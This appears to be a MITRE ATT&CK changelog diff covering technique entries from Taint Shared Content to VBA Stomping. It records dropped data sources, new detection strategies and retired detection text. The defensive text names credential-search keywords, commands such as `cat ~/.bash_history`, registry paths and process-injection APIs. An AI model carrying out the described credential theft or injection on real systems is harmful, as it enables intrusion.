x_mitre_data_sources	['Command: Command Execution', 'Network Traffic: Network Connection Creation', 'Firmware: Firmware Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:08.824000+00:00	2025-10-24 17:48:33.317000+00:00
x_mitre_detection	Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification) Review command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.

[T1080] Taint Shared Content

Current version: 1.6

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Creation)
DS0022: File (File Modification)
DS0033: Network Share (Network Share Access)

New Detections (Detection Strategies -> Technique):

DET0471: Detection of Tainted Content Written to Shared Storage

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Share: Network Share Access', 'Process: Process Creation', 'File: File Modification', 'File: File Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:14.334000+00:00	2025-10-24 17:48:32.156000+00:00
x_mitre_detection	Processes that write or overwrite many files to a network shared directory may be suspicious. Monitor processes that are executed from removable media for malicious or abnormal activity such as network connections due to Command and Control and possible network Discovery techniques. Frequently scan shared network directories for malicious files, hidden files, .LNK files, and other file types that may not typical exist in directories used to share specific types of content.

[T1221] Template Injection

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0566: Template Injection Detection - Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 15:16:15.516000+00:00	2025-10-24 17:49:28.862000+00:00
x_mitre_detection	Analyze process behavior to determine if user document applications (such as Office) are performing actions, such as opening network connections, reading files, spawning abnormal child processes (ex: [PowerShell](https://attack.mitre.org/techniques/T1059/001)), or other suspicious actions that could relate to post-compromise behavior. Monitor .rtf files for strings indicating the `\template` control word has been modified to retrieve a URL resource, such as `\template http` or `*\template \u-`.

[T1505.005] Server Software Component: Terminal Services DLL

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0022: File (File Modification)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0212: Detection Strategy for T1505.005 – Terminal Services DLL Modification (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Module: Module Load', 'Command: Command Execution', 'File: File Modification', 'Windows Registry: Windows Registry Key Modification', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:15:45.110000+00:00	2025-10-24 17:48:39.258000+00:00
x_mitre_detection	Monitor for changes to Registry keys associated with `ServiceDll` and other subkey values under `HKLM\System\CurrentControlSet\services\TermService\Parameters\`. Monitor unexpected changes and/or interactions with `termsrv.dll`, which is typically stored in `%SystemRoot%\System32\`. Monitor commands as well as processes and arguments for potential adversary actions to modify Registry values (ex: `reg.exe`) or modify/replace the legitimate `termsrv.dll`. Monitor module loads by the Terminal Services process (ex: `svchost.exe -k termsvcs`) for unexpected DLLs (the default is `%SystemRoot%\System32\termsrv.dll`, though an adversary could also use [Match Legitimate Resource Name or Location](https://attack.mitre.org/techniques/T1036/005) on a malicious payload).

[T1055.003] Process Injection: Thread Execution Hijacking

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0295: Behavioral Detection of Thread Execution Hijacking via Thread Suspension and Context Switching

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Modification', 'Process: Process Access']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:28.558000+00:00	2025-10-24 17:48:42.433000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread`, `SuspendThread`/`SetThreadContext`/`ResumeThread`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1055.005] Process Injection: Thread Local Storage

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Access)
DS0009: Process (Process Modification)

New Detections (Detection Strategies -> Technique):

DET0467: Detection Strategy for TLS Callback Injection via PE Memory Modification and Hollowing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Modification', 'Process: Process Access', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:21.860000+00:00	2025-10-24 17:49:32.111000+00:00
x_mitre_detection	Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as `CreateRemoteThread`, `SuspendThread`/`SetThreadContext`/`ResumeThread`, and those that can be used to modify memory within another process, such as `VirtualAllocEx`/`WriteProcessMemory`, may be used for this technique.(Citation: Elastic Process Injection July 2017) Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.

[T1547.003] Boot or Logon Autostart Execution: Time Providers

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)
DS0024: Windows Registry (Windows Registry Key Modification)

New Detections (Detection Strategies -> Technique):

DET0122: Detect Abuse of Windows Time Providers for Persistence

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Modification', 'Module: Module Load']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:35.700000+00:00	2025-10-24 17:48:51.278000+00:00
x_mitre_detection	Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as `RegCreateKeyEx` and `RegSetValueEx` as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017) The Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)

[T1070.006] Indicator Removal: Timestomp

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)
DS0022: File (File Metadata)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0591: Cross-Platform Behavioral Detection of File Timestomping via Metadata Tampering

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'File: File Modification', 'File: File Metadata', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:27.752000+00:00	2025-10-24 17:48:43.937000+00:00
x_mitre_detection	Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.

[T1134.001] Access Token Manipulation: Token Impersonation/Theft

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0482: Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Process: OS API Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:48.792000+00:00	2025-10-24 17:49:04.117000+00:00
x_mitre_detection	If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the `runas` command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) Analysts can also monitor for use of Windows APIs such as `DuplicateToken(Ex)`, `ImpersonateLoggedOnUser` , and `SetThreadToken` and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.

[T1020.001] Automated Exfiltration: Traffic Duplication

Current version: 1.4

Dropped Detections (Data Components -> Technique):

DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0403: Detection Strategy for Traffic Duplication via Mirroring in IaaS and Network Devices

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:44.474000+00:00	2025-10-24 17:49:00.388000+00:00
x_mitre_detection	Monitor network traffic for uncommon data flows (e.g. unusual network communications, suspicious communications that have never been seen before, communications sending fixed size data packets at regular intervals). Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.

[T1205] Traffic Signaling

Current version: 2.5

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0524: Traffic Signaling (Port-knock / magic-packet → firewall or service activation) – T1205

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Network Traffic: Network Traffic Content', 'Network Traffic: Network Connection Creation', 'Process: Process Creation', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:27.071000+00:00	2025-10-24 17:48:43.225000+00:00
x_mitre_detection	Record network packets sent to and from the system, looking for extraneous packets that do not belong to established flows. The Wake-on-LAN magic packet consists of 6 bytes of `FF` followed by sixteen repetitions of the target system's IEEE address. Seeing this string anywhere in a packet's payload may be indicative of a Wake-on-LAN attempt.(Citation: GitLab WakeOnLAN)

[T1537] Transfer Data to Cloud Account

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0010: Cloud Storage (Cloud Storage Creation)
DS0010: Cloud Storage (Cloud Storage Metadata)
DS0010: Cloud Storage (Cloud Storage Modification)
DS0015: Application Log (Application Log Content)
DS0020: Snapshot (Snapshot Creation)
DS0020: Snapshot (Snapshot Metadata)
DS0020: Snapshot (Snapshot Modification)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0573: Cross-Platform Detection of Data Transfer to Cloud Account

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Cloud Storage: Cloud Storage Modification', 'Snapshot: Snapshot Creation', 'Snapshot: Snapshot Modification', 'Cloud Storage: Cloud Storage Metadata', 'Snapshot: Snapshot Metadata', 'Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Cloud Storage: Cloud Storage Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:16:36.472000+00:00	2025-10-24 17:49:27.409000+00:00
x_mitre_detection	Monitor account activity for attempts to share data, snapshots, or backups with untrusted or unusual accounts on the same cloud service provider. Monitor for anomalous file transfer activity between accounts and to untrusted VPCs. In AWS, sharing an Elastic Block Store (EBS) snapshot, either with specified users or publicly, generates a ModifySnapshotAttribute event in CloudTrail logs.(Citation: AWS EBS Snapshot Sharing) Similarly, in Azure, creating a Shared Access Signature (SAS) URI for a Virtual Hard Disk (VHS) snapshot generates a "Get Snapshot SAS URL" event in Activity Logs.(Citation: Azure Blob Snapshots)(Citation: Azure Shared Access Signature)

[T1565.002] Data Manipulation: Transmitted Data Manipulation

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0029: Network Traffic (Network Traffic Content)
DS0029: Network Traffic (Network Traffic Flow)

New Detections (Detection Strategies -> Technique):

DET0254: Detection Strategy of Transmitted Data Manipulation

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:16:50.965000+00:00	2025-10-24 17:49:25.162000+00:00
x_mitre_detection	Detecting the manipulation of data as at passes over a network can be difficult without the appropriate tools. In some cases integrity verification checks, such as file hashing, may be used on critical files as they transit a network. With some critical processes involving transmission of data, manual or out-of-band integrity checking may be useful for identifying manipulated data.

[T1505.002] Server Software Component: Transport Agent

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0022: File (File Creation)

New Detections (Detection Strategies -> Technique):

DET0166: Detection Strategy for T1505.002 - Transport Agent Abuse (Windows/Linux)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:19.364000+00:00	2025-10-24 17:48:38.001000+00:00
x_mitre_detection	Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.

[T1546.005] Event Triggered Execution: Trap

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0369: Detection Strategy for Event Triggered Execution via Trap (T1546.005)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Creation', 'Process: Process Creation', 'Command: Command Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:46:52.100000+00:00	2025-10-24 17:48:51.725000+00:00
x_mitre_detection	Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.

[T1484.002] Domain or Tenant Policy Modification: Trust Modification

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0026: Active Directory (Active Directory Object Creation)
DS0026: Active Directory (Active Directory Object Modification)

New Detections (Detection Strategies -> Technique):

DET0458: Detection of Trust Relationship Modifications in Domain or Tenant Policies

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Application Log: Application Log Content', 'Active Directory: Active Directory Object Modification', 'Active Directory: Active Directory Object Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:14.422000+00:00	2025-10-24 17:48:32.244000+00:00
x_mitre_detection	Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes `Set federation settings on domain` and `Set domain authentication`.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection) Monitor for PowerShell commands such as: `Update-MSOLFederatedDomain –DomainName: "Federated Domain Name"`, or `Update-MSOLFederatedDomain –DomainName: "Federated Domain Name" –supportmultipledomain`.(Citation: Microsoft - Update or Repair Federated domain)

[T1127] Trusted Developer Utilities Proxy Execution

Current version: 1.3

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0009: Process (Process Metadata)
DS0011: Module (Module Load)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0172: Behavior-chain, platform-aware detection strategy for T1127 Trusted Developer Utilities Proxy Execution (Windows)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Command: Command Execution', 'Module: Module Load', 'Process: Process Metadata', 'Process: Process Creation']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:24.863000+00:00	2025-10-24 17:49:40.055000+00:00
x_mitre_detection	Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

[T1199] Trusted Relationship

Current version: 2.4

Dropped Detections (Data Components -> Technique):

DS0015: Application Log (Application Log Content)
DS0028: Logon Session (Logon Session Creation)
DS0028: Logon Session (Logon Session Metadata)
DS0029: Network Traffic (Network Traffic Content)

New Detections (Detection Strategies -> Technique):

DET0488: Detect abuse of Trusted Relationships (third-party and delegated admin access)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Logon Session: Logon Session Creation', 'Logon Session: Logon Session Metadata', 'Network Traffic: Network Traffic Content', 'Application Log: Application Log Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:17:12.008000+00:00	2025-10-24 17:49:09.835000+00:00
x_mitre_detection	Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.

[T1546.017] Event Triggered Execution: Udev Rules

Current version: 1.0

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0375: Detection Strategy for T1546.017 - Udev Rules (Linux)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:17:25.978000+00:00	2025-10-24 17:49:37.034000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_detection	Monitor file creation and modification of Udev rule files in `/etc/udev/rules.d/`, `/lib/udev/rules.d/`, and /usr/lib/udev/rules.d/, specifically the `RUN` action key commands.(Citation: Ignacio Udev research 2024)
x_mitre_contributors[4]	Ruben Groenewoud, Elastic	Ruben Groenewoud (@RFGroenewoud)

[T1546.004] Event Triggered Execution: Unix Shell Configuration Modification

Current version: 2.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (Process Creation)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0022: File (File Modification)

New Detections (Detection Strategies -> Technique):

DET0020: Detect Shell Configuration Modification for Persistence via Event-Triggered Execution

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: Process Creation', 'File: File Creation', 'Command: Command Execution', 'File: File Modification']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:59:00.346000+00:00	2025-10-24 17:49:15.960000+00:00
x_mitre_detection	While users may customize their shell profile files, there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process. Monitor for changes to `/etc/profile` and `/etc/profile.d`, these files should only be modified by system administrators. MacOS users can leverage Endpoint Security Framework file events monitoring these specific files.(Citation: ESF_filemonitor) For most Linux and macOS systems, a list of file paths for valid shell options available on a system are located in the `/etc/shells` file.

[T1552] Unsecured Credentials

Current version: 1.5

	Old Description			New Description
t	1	Adversaries may search compromised systems to find and obtai	t	1	Adversaries may search compromised systems to find and obtai
	>	n insecurely stored credentials. These credentials can be st		>	n insecurely stored credentials. These credentials can be st
	>	ored and/or misplaced in many locations on a system, includi		>	ored and/or misplaced in many locations on a system, includi
	>	ng plaintext files (e.g. [Bash History](https://attack.mitre		>	ng plaintext files (e.g. [Shell History](https://attack.mitr
	>	.org/techniques/T1552/003)), operating system or application		>	e.org/techniques/T1552/003)), operating system or applicatio
	>	-specific repositories (e.g. [Credentials in Registry](https		>	n-specific repositories (e.g. [Credentials in Registry](http
	>	://attack.mitre.org/techniques/T1552/002)), or other specia		>	s://attack.mitre.org/techniques/T1552/002)), or other speci
	>	lized files/artifacts (e.g. [Private Keys](https://attack.mi		>	alized files/artifacts (e.g. [Private Keys](https://attack.m
	>	tre.org/techniques/T1552/004)).(Citation: Brining MimiKatz t		>	itre.org/techniques/T1552/004)).(Citation: Brining MimiKatz
	>	o Unix)		>	to Unix)

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Access)
DS0024: Windows Registry (Windows Registry Key Access)

New Detections (Detection Strategies -> Technique):

DET0412: Detect Access or Search for Unsecured Credentials Across Platforms

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Windows Registry: Windows Registry Key Access', 'Application Log: Application Log Content', 'Command: Command Execution', 'Process: Process Creation', 'File: File Access', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:26.362000+00:00	2025-10-24 17:48:42.785000+00:00
description	Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)	Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Shell History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).(Citation: Brining MimiKatz to Unix)
x_mitre_detection	While detecting adversaries accessing credentials may be difficult without knowing they exist in the environment, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See [Valid Accounts](https://attack.mitre.org/techniques/T1078) for more information. Monitor for suspicious file access activity, specifically indications that a process is reading multiple files in a short amount of time and/or using command-line arguments indicative of searching for credential material (ex: regex patterns). These may be indicators of automated/scripted credential access behavior. Monitoring when the user's `.bash_history` is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like `cat ~/.bash_history`. Additionally, monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.

[T1535] Unused/Unsupported Cloud Regions

Current version: 1.1

Dropped Detections (Data Components -> Technique):

DS0030: Instance (Instance Creation)
DS0030: Instance (Instance Metadata)

New Detections (Detection Strategies -> Technique):

DET0247: Detection of Adversary Use of Unused or Unsupported Cloud Regions (IaaS)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Creation', 'Instance: Instance Metadata']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:17:42.649000+00:00	2025-10-24 17:48:49.853000+00:00
x_mitre_detection	Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)

[T1608.002] Stage Capabilities: Upload Tool

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0035: Internet Scan (Response Content)

New Detections (Detection Strategies -> Technique):

DET0834: Detection of Upload Tool

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Internet Scan: Response Content']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 23:18:15.337000+00:00	2025-10-24 17:48:46.160000+00:00
x_mitre_detection	If infrastructure or patterns in tooling have been previously identified, internet scanning may uncover when an adversary has staged tools to make them accessible for targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle, such as [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105).

[T1550] Use Alternate Authentication Material

Current version: 1.5

Dropped Detections (Data Components -> Technique):

DS0002: User Account (User Account Authentication)
DS0006: Web Credential (Web Credential Usage)
DS0015: Application Log (Application Log Content)
DS0026: Active Directory (Active Directory Credential Request)
DS0028: Logon Session (Logon Session Creation)

New Detections (Detection Strategies -> Technique):

DET0338: Behavioral Detection Strategy for Use Alternate Authentication Material (T1550)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Application Log: Application Log Content', 'Logon Session: Logon Session Creation', 'Active Directory: Active Directory Credential Request', 'Web Credential: Web Credential Usage', 'User Account: User Account Authentication']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:30.693000+00:00	2025-10-24 17:48:46.684000+00:00
x_mitre_detection	Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).

[T1497.002] Virtualization/Sandbox Evasion: User Activity Based Checks

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0009: Process (OS API Execution)
DS0009: Process (Process Creation)
DS0017: Command (Command Execution)

New Detections (Detection Strategies -> Technique):

DET0420: Detect User Activity Based Sandbox Evasion via Input & Artifact Probing

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Process: OS API Execution', 'Process: Process Creation', 'Command: Command Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:51.123000+00:00	2025-10-24 17:49:06.305000+00:00
x_mitre_detection	User activity-based checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.

[T1204] User Execution

Current version: 1.8

New Mitigations:

M1033: Limit Software Installation

Dropped Detections (Data Components -> Technique):

DS0007: Image (Image Creation)
DS0009: Process (Process Creation)
DS0015: Application Log (Application Log Content)
DS0017: Command (Command Execution)
DS0022: File (File Creation)
DS0029: Network Traffic (Network Connection Creation)
DS0029: Network Traffic (Network Traffic Content)
DS0030: Instance (Instance Creation)
DS0030: Instance (Instance Start)
DS0032: Container (Container Creation)
DS0032: Container (Container Start)

New Detections (Detection Strategies -> Technique):

DET0478: User Execution – multi-surface behavior chain (documents/links → helper/unpacker → LOLBIN/child → egress)

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['Instance: Instance Start', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Container: Container Creation', 'Instance: Instance Creation', 'Network Traffic: Network Traffic Content', 'Process: Process Creation', 'Command: Command Execution', 'Image: Image Creation', 'Application Log: Application Log Content', 'Container: Container Start']

values_changed
STIX Field	Old value	New Value
modified	2025-04-15 19:58:49.690000+00:00	2025-10-24 17:49:04.940000+00:00
x_mitre_detection	Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads. Anti-virus can potentially detect malicious documents and files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).

[T1564.007] Hide Artifacts: VBA Stomping

Current version: 1.2

Dropped Detections (Data Components -> Technique):

DS0012: Script (Script Execution)
DS0022: File (File Metadata)

New Detections (Detection Strategies -> Technique):

DET0012: Detection Strategy for VBA Stomping

Details

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_sources	['File: File Metadata', 'Script: Script Execution']

values_changed
STIX Field	Old value	New Value
modified	2025-04-25 14:48:00.627000+00:00	2025-10-24 17:49:22.623000+00:00
